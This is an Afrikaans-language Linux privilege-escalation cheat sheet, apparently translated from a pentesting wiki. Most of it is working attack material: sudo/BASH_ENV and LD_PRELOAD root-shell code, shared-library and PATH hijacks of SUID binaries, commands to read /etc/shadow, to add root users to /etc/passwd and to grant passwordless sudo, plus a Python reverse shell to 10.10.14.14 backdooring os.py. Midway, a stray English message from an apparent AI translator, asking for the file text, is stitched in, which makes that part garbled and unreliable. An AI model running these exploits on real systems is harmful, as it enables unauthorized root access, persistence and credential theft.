Hierdie voorbeeld, gebaseer op HTB machine Admirer, was kwesbaar vir PYTHONPATH hijacking om 'n ewekansige python biblioteek te laai terwyl die skrip as root uitgevoer word:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

BASH_ENV behou deur sudo env_keep → root shell

As sudoers BASH_ENV bewaar (bv., Defaults env_keep+="ENV BASH_ENV"), kan jy gebruik maak van Bash se nie-interaktiewe opstartgedrag om willekeurige kode as root uit te voer wanneer 'n toegelate opdrag aangeroep word.

• Hoekom dit werk: Vir nie-interaktiewe shells evalueer Bash $BASH_ENV en laai daardie lêer in voordat die teiken-script uitgevoer word. Baie sudo-reëls laat toe om 'n script of 'n shell wrapper uit te voer. As BASH_ENV deur sudo bewaar word, word jou lêer met root-regte ingelaai.

• Vereistes:

• 'n sudo-reël wat jy kan uitvoer (enige teiken wat /bin/bash nie-interaktief aanroep, of enige bash-script).

• BASH_ENV teenwoordig in env_keep (kontroleer met sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Verharding:
• Verwyder BASH_ENV (en ENV) uit env_keep, verkies env_reset.
• Vermy shell wrappers vir sudo-allowed commands; gebruik minimale binaries.
• Oorweeg sudo I/O logging en waarskuwings wanneer bewaarde env vars gebruik word.

Sudo uitvoering-omseilingspade

Spring om ander lêers te lees of gebruik symlinks. Byvoorbeeld in sudoers-lêer: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

As wildcard gebruik word (*), is dit nog makliker:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Teenmaatreëls: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary sonder die opdragpad

As die sudo permission aan 'n enkele opdrag gegee word sonder om die pad te spesifiseer: hacker10 ALL= (root) less kan jy dit uitbuit deur die PATH variabele te verander

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Hierdie tegniek kan ook gebruik word as 'n suid binary 'n ander command uitvoer sonder om die pad daarvan te spesifiseer (kontroleer altyd met strings die inhoud van 'n vreemde SUID binary).

Payload examples to execute.

SUID binary met command path

As die suid binary 'n ander command uitvoer en die pad daarvoor spesifiseer, dan kan jy probeer om 'n funksie met dieselfde naam as die command wat die suid-lêer oproep te skep en te export.

Byvoorbeeld, as 'n suid binary /usr/sbin/service apache2 start aanroep, moet jy probeer om die funksie te skep en dit te export:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Then, when you call the suid binary, this function will be executed

LD_PRELOAD & LD_LIBRARY_PATH

Die LD_PRELOAD omgewingsveranderlike word gebruik om een of meer shared libraries (.so files) te spesifiseer wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (libc.so). Hierdie proses staan bekend as die vooraflading van 'n biblioteek.

Om stelselveiligheid te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met suid/sgid uitvoerbare lêers, dwing die stelsel sekere voorwaardes af:

• Die loader ignoreer LD_PRELOAD vir uitvoerbare lêers waar die werklike gebruiker-ID (ruid) nie ooreenstem met die effektiewe gebruiker-ID (euid) nie.
• Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpade wat ook suid/sgid is, voorafgelaai.

Privilege escalation kan gebeur as jy die vermoë het om opdragte met sudo uit te voer en die uitset van sudo -l die stelling env_keep+=LD_PRELOAD insluit. Hierdie konfigurasie laat toe dat die LD_PRELOAD omgewingsveranderlike behou bly en erken word selfs wanneer opdragte met sudo uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde voorregte.

Defaults        env_keep += LD_PRELOAD

Stoor as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dan compile it met behulp van:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Laastens, escalate privileges uit te voer.

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Wanneer jy op 'n binary met SUID permissies stuit wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit .so files behoorlik laai. Dit kan nagegaan word deur die volgende command uit te voer:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Byvoorbeeld, as jy 'n fout soos "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" teëkom, dui dit op 'n potensiële eksploitasie.

Om dit te eksploiteer, sal jy voortgaan deur 'n C-lêer te skep, byvoorbeeld "/path/to/.config/libcalc.c", wat die volgende kode bevat:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Hierdie kode, sodra dit saamgestel en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer.

Kompileer die bogenoemde C-lêer na 'n shared object (.so)-lêer met:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Uiteindelik behoort die uitvoering van die geaffekteerde SUID binary die exploit te aktiveer en moontlike stelselkompromittering toe te laat.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Aangesien ons 'n SUID binary gevind het wat 'n library uit 'n folder laai waarin ons kan skryf, skep ons die library in daardie folder met die nodige naam:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

As jy 'n fout kry soos

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam a_function_name moet hê.

GTFOBins

GTFOBins is 'n gekuratoreerde lys van Unix-binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. GTFOArgs is dieselfde, maar vir gevalle waar jy slegs argumente kan ingevoeg in 'n opdrag.

Die projek versamel legitieme funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te eskaleer of te behou, lêers oor te dra, bind and reverse shells te skep, en ander post-exploitation take te vergemaklik.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

\n \n GTFOBins\n

\n \n GTFOArgs\n

FallOfSudo

As jy toegang tot sudo -l het, kan jy die instrument FallOfSudo gebruik om te kontroleer of dit 'n wyse vind om enige sudo-reël uit te buit.

Reusing Sudo Tokens

In gevalle waar jy sudo access het maar nie die wagwoord nie, kan jy voorregte eskaleer deur te wag vir die uitvoering van 'n sudo-opdrag en dan die sessie-token te kaap.

Vereistes om voorregte te eskaleer:

• Jy het reeds 'n shell as gebruiker "sampleuser"
• "sampleuser" het sudo gebruik om iets uit te voer in die laaste 15 minute (standaard is dit die duur van die sudo-token wat ons toelaat om sudo te gebruik sonder om 'n wagwoord in te voer)
• cat /proc/sys/kernel/yama/ptrace_scope is 0
• gdb is toeganklik (jy kan dit oplaai)

(Jy kan tydelik ptrace_scope aktiveer met echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope of dit permanent maak deur /etc/sysctl.d/10-ptrace.conf te wysig en kernel.yama.ptrace_scope = 0 te stel)

As al hierdie vereistes vervul is, kan jy voorregte eskaleer deur: https://github.com/nongiach/sudo_inject

• Die eerste exploit (exploit.sh) sal die binêre activate_sudo_token in /tmp skep. Jy kan dit gebruik om die sudo-token in jou sessie te aktiveer (jy kry nie outomaties 'n root-shell nie; doen sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Die tweede exploit (exploit_v2.sh) sal 'n sh shell in /tmp skep wat aan root behoort met setuid

bash exploit_v2.sh
/tmp/sh -p

• Die derde exploit (exploit_v3.sh) sal 'n sudoers file skep wat sudo tokens ewig maak en toelaat dat alle gebruikers sudo gebruik

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

As jy skryfregte in die gids of op enige van die geskepte lêers binne die gids het, kan jy die binary write_sudo_token gebruik om create a sudo token for a user and PID.\ Byvoorbeeld, as jy die lêer /var/run/sudo/ts/sampleuser kan oorskryf en jy het 'n shell as daardie gebruiker met PID 1234, kan jy obtain sudo privileges sonder om die wagwoord te ken deur:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die lêer /etc/sudoers en die lêers binne /etc/sudoers.d bepaal wie sudo kan gebruik en hoe. Hierdie lêers is per verstek slegs deur gebruiker root en groep root geleesbaar.
As jy hierdie lêer kan lees, kan jy moontlik interessante inligting verkry, en as jy enige lêer kan skryf, sal jy in staat wees om escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

As jy kan skryf, kan jy hierdie toestemming misbruik.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Nog 'n manier om hierdie permissions te misbruik:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Daar is 'n paar alternatiewe vir die sudo binary, soos doas vir OpenBSD — onthou om sy konfigurasie by /etc/doas.conf na te gaan.

permit nopass demo as root cmd vim

Sudo Hijacking

Indien jy weet dat 'n gebruiker gewoonlik by 'n masjien aanmeld en sudo gebruik om voorregte te verhoog, en jy het 'n shell binne daardie gebruikerskonteks, kan jy 'n nuwe sudo-uitvoerbare lêer skep wat jou kode as root uitvoer en daarna die gebruiker se opdrag. Wysig dan die $PATH van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo-uitvoerbare uitgevoer word.

Neem kennis dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers sal moet wysig om die nuwe pad by te voeg. Byvoorbeeld sudo-piggyback wysig ~/.bashrc, ~/.zshrc, ~/.bash_profile. Jy kan 'n ander voorbeeld vind in bashdoor.py

Of deur iets soos:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Gedeelde Biblioteek

ld.so

Die lêer /etc/ld.so.conf dui aan waarheen die gelaaide konfigurasielêers vandaan kom. Gewoonlik bevat hierdie lêer die volgende pad: include /etc/ld.so.conf.d/*.conf

Dit beteken dat die konfigurasielêers van /etc/ld.so.conf.d/*.conf gelees sal word. Hierdie konfigurasielêers wys na ander vouers waar biblioteke gaan gesoek word. Byvoorbeeld, die inhoud van /etc/ld.so.conf.d/libc.conf is /usr/local/lib. Dit beteken dat die stelsel vir biblioteke binne /usr/local/lib sal soek.

Indien om een of ander rede 'n gebruiker skryfregte het op enige van die aangeduide paaie: /etc/ld.so.conf, /etc/ld.so.conf.d/, enige lêer binne /etc/ld.so.conf.d/ of enige vouer wat in die konfigurasielêer binne /etc/ld.so.conf.d/*.conf genoem word, mag hy in staat wees om priviliges te verhoog.
Kyk na hoe om hierdie verkeerde konfigurasie te benut op die volgende bladsy:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Deur die lib na /var/tmp/flag15/ te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die RPATH veranderlike.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Skep dan 'n kwaadwillige biblioteek in /var/tmp met gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Vermoëns

Linux-vermoëns verskaf 'n substel van die beskikbare root-bevoegdhede aan 'n proses. Dit breek root bevoegdhede effektief op in kleiner en kenmerkende eenhede. Elkeen van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volledige stel bevoegdhede verminder, wat die risiko's van uitbuiting verlaag.
Lees die volgende bladsy om meer te leer oor vermoëns en hoe om dit te misbruik:

Linux Capabilities

Gidspermissies

In 'n gids impliseer die bit vir "execute" dat die betrokke gebruiker in die gids kan "cd".
Die "read" bit impliseer dat die gebruiker die lêers kan lys, en die "write" bit impliseer dat die gebruiker lêers kan skrap en skep nuwe lêers.

ACLs

Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre permissies, en kan die tradisionele ugo/rwx-permissies oorskryf. Hierdie permissies verbeter die beheer oor lêer- of gids-toegang deur regte toe te laat of te weier vir spesifieke gebruikers wat nie eienaars is of deel van die groep nie. Hierdie vlak van granulariteit verseker meer presiese toegangsbestuur. Verdere besonderhede is beskikbaar here.

Gee gebruiker "kali" lees- en skryfpermissies oor 'n lêer:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Kry lêers met spesifieke ACLs vanaf die stelsel:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Open shell sessies

In oude weergawes kan jy 'n shell sessie van 'n ander gebruiker (root) hijack.
In nuutste weergawes kan jy slegs na screen sessions van jou eie gebruiker connect. Tog kan jy interessante inligting binne die sessie vind.

screen sessions hijacking

Lys screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Koppel aan 'n sessie

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Dit was 'n probleem met oue tmux-weergawes. Ek kon nie 'n tmux (v2.1)-sessie wat deur root geskep is, as 'n nie-bevoorregte gebruiker hijack nie.

Lys tmux-sessies

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Koppel aan 'n sessie

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Check Valentine box from HTB vir 'n voorbeeld.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.
Hierdie fout word veroorsaak wanneer 'n nuwe ssh key in daardie OS geskep word, aangesien slegs 32,768 variasies moontlik was. Dit beteken dat al die moontlikhede bereken kan word en met die ssh public key kan jy vir die ooreenstemmende private key soek. You can find the calculated possibilities here: https://github.com/g0tmi1k/debian-ssh

SSH Interessante konfigurasiewaardes

• PasswordAuthentication: Gee aan of password authentication toegelaat word. Die verstek is no.
• PubkeyAuthentication: Gee aan of public key authentication toegelaat word. Die verstek is yes.
• PermitEmptyPasswords: Wanneer password authentication toegelaat word, gee dit aan of die bediener aanmeldings na rekeninge met leë wagwoorde toelaat. Die verstek is no.

PermitRootLogin

Gee aan of root met ssh kan aanmeld, die verstek is no. Moontlike waardes:

• yes: root kan aanmeld met password en private key
• without-password or prohibit-password: root kan slegs aanmeld met 'n private key
• forced-commands-only: Root kan slegs aanmeld met 'n private key en as die commands-opsies gespesifiseer is
• no : nee

AuthorizedKeysFile

Gee lêers aan wat die public keys bevat wat vir user authentication gebruik kan word. Dit kan tokens soos %h bevat, wat vervang sal word deur die tuismap. You can indicate absolute paths (starting in /) or relative paths from the user's home. For example:

AuthorizedKeysFile    .ssh/authorized_keys access

Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die private key van die gebruiker "testusername" gaan ssh die public key van jou key vergelyk met dié wat in /home/testusername/.ssh/authorized_keys en /home/testusername/access geleë is

ForwardAgent/AllowAgentForwarding

SSH agent forwarding laat jou toe om jou plaaslike SSH keys te gebruik in plaas daarvan om keys (without passphrases!) op jou server te laat staan. Sodoende sal jy in staat wees om jump via ssh to a host en van daar jump to another host using die key wat op jou initial host geleë is.

Jy moet hierdie opsie in $HOME/.ssh.config stel soos volg:

Host example.com
ForwardAgent yes

Let op dat as Host * is, elke keer wanneer die gebruiker na 'n ander masjien spring, daardie host toegang tot die sleutels sal hê (wat 'n sekuriteitsprobleem is).

Die lêer /etc/ssh_config kan oorskryf hierdie opsies en hierdie konfigurasie toelaat of weier.
Die lêer /etc/sshd_config kan toelaat of weier ssh-agent forwarding met die sleutelwoord AllowAgentForwarding (standaard is toelaat).

As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien jy dit dalk kan misbruik om verhoogde regte te verkry:

SSH Forward Agent exploitation

Interessante Lêers

Profiel-lêers

Die lêer /etc/profile en die lêers onder /etc/profile.d/ is scripts wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin. Daarom, as jy enige van hulle kan skryf of wysig, kan jy verhoogde regte verkry.

ls -l /etc/profile /etc/profile.d/

As enige vreemde profielskrip gevind word, moet jy dit vir sensitiewe besonderhede nagaan.

Passwd/Shadow-lêers

Afhangende van die OS kan die /etc/passwd en /etc/shadow lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om al hulle te vind en te kontroleer of jy dit kan lees om te sien of daar hashes in die lêers is:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

Soms kan jy password hashes in die /etc/passwd (of 'n ekwivalente) lêer vind.

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Skryfbaar /etc/passwd

Genereer eers 'n wagwoord met een van die volgende opdragte.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

I need the contents of src/linux-hardening/privilege-escalation/README.md to translate it. Please paste the file text.

Also clarify the second part: do you want

• me to include in the translated README a sample command to create a user named hacker plus a generated password (I can supply a strong password string), or
• do you want me to actually create the user on a system (I cannot perform system actions)?

If you want the sample commands, confirm and I will include the commands and a generated password in the translation.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Byvoorbeeld: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Jy kan nou die su-opdrag gebruik met hacker:hacker

Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.
WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Op BSD-platforms is /etc/passwd geleë by /etc/pwd.db en /etc/master.passwd, en /etc/shadow is hernoem na /etc/spwd.db.

Jy moet nagaan of jy kan skryf in sekere sensitiewe lêers. Byvoorbeeld, kan jy skryf na 'n dienskonfigurasielêer?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Byvoorbeeld, as die masjien 'n tomcat bediener loop en jy kan die Tomcat diens-konfigurasielêer binne /etc/systemd/ wysig, dan kan jy die reëls wysig:

ExecStart=/path/to/backdoor
User=root
Group=root

Jou backdoor sal uitgevoer word die volgende keer dat tomcat gestart word.

Kontroleer gidse

Die volgende gidse kan rugslae of interessante inligting bevat: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer.)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Vreemde Ligging/Owned lêers

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Gewysigde lêers in die afgelope minute

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB lêers

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Verborge lêers

find / -type f -iname ".*" -ls 2>/dev/null

Skrip/Uitvoerbare lêers in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web-lêers

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Rugsteunkopieë

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekende lêers wat wagwoorde bevat

Lees die kode van linPEAS, dit soek na verskeie moontlike lêers wat wagwoorde kan bevat.
Nog 'n interessante hulpmiddel wat jy daarvoor kan gebruik is: LaZagne wat 'n open source-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, te herstel.

Logs

As jy logs kan lees, mag jy interessante/vertroulike inligting daarin vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.
Ook kan sommige sleg geconfigureerde (backdoored?) audit logs jou toelaat om wagwoorde binne audit logs te registreer, soos verduidelik in hierdie pos: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Om logs te lees sal die groep adm baie nuttig wees.

Shell lêers

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generiese Creds Soek/Regex

Jy moet ook kyk na lêers wat die woord "password" in hul naam of in die inhoud bevat, en kyk ook vir IPs en emails in logs, of hashes regexps.
Ek gaan nie hier uiteensit hoe om dit alles te doen nie, maar as jy geïnteresseerd is kan jy die laaste kontroles wat linpeas uitvoer nagaan.

Skryfbare lêers

Python library hijacking

As jy weet waar 'n python script gaan uitgevoer word en jy kan binne daardie gids skryf of jy kan modify python libraries, kan jy die OS library wysig en dit backdoor (as jy kan skryf waar die python script gaan uitgevoer word, kopieer en plak die os.py library).

Om backdoor the library te doen, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate-uitbuiting

A vulnerability in logrotate lets users with write permissions on a log file or its parent directories potentially gain escalated privileges. This is because logrotate, often running as root, can be manipulated to execute arbitrary files, especially in directories like /etc/bash_completion.d/. It's important to check permissions not just in /var/log but also in any directory where log rotation is applied.

More detailed information about the vulnerability can be found on this page: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

You can exploit this vulnerability with logrotten.

This vulnerability is very similar to CVE-2016-1247 (nginx logs), so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Kwesbaarheidsverwysing: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.

Network scripts, ifcg-eth0 for example are used for network connections. They look exactly like .INI files. However, they are sourced on Linux by Network Manager (dispatcher.d).

In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. This means that everything after the first blank space is executed as root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Let op die leë spasie tussen Network en /bin/id)

init, init.d, systemd, and rc.d

Die gids /etc/init.d bevat skripte vir System V init (SysVinit), die klassieke Linux dienstebestuurstelsel. Dit sluit skripte in om dienste te start, stop, restart, en soms te reload. Hierdie kan direk uitgevoer word of deur simboliese skakels in /etc/rc?.d/. In Redhat-stelsels is 'n alternatiewe pad /etc/rc.d/init.d.

Aan die ander kant is /etc/init geassosieer met Upstart, 'n nuwer diensbestuur wat deur Ubuntu ingevoer is, en gebruik konfigurasielêers vir diensbestuurtake. Ondanks die oorskakeling na Upstart, word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart.

systemd treeg na vore as 'n moderne inisialiserings- en diensbestuurder, en bied gevorderde funksies soos on-demand daemon-beginning, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in /usr/lib/systemd/ vir distributie-pakkette en /etc/systemd/system/ vir administrateur-wysigings, wat stelseladministrasie vereenvoudig.

Ander truuks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks hook dikwels 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace-manager bloot te stel. Swakke manager-authentisering (bv. signature checks gebaseer op FD-order of swak wagwoord-skemas) kan 'n plaaslike app toelaat om die manager te imiteer en tot root te eskaleer op reeds-geroote toestelle. Lees meer en sien uitbuitingsbesonderhede hier:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

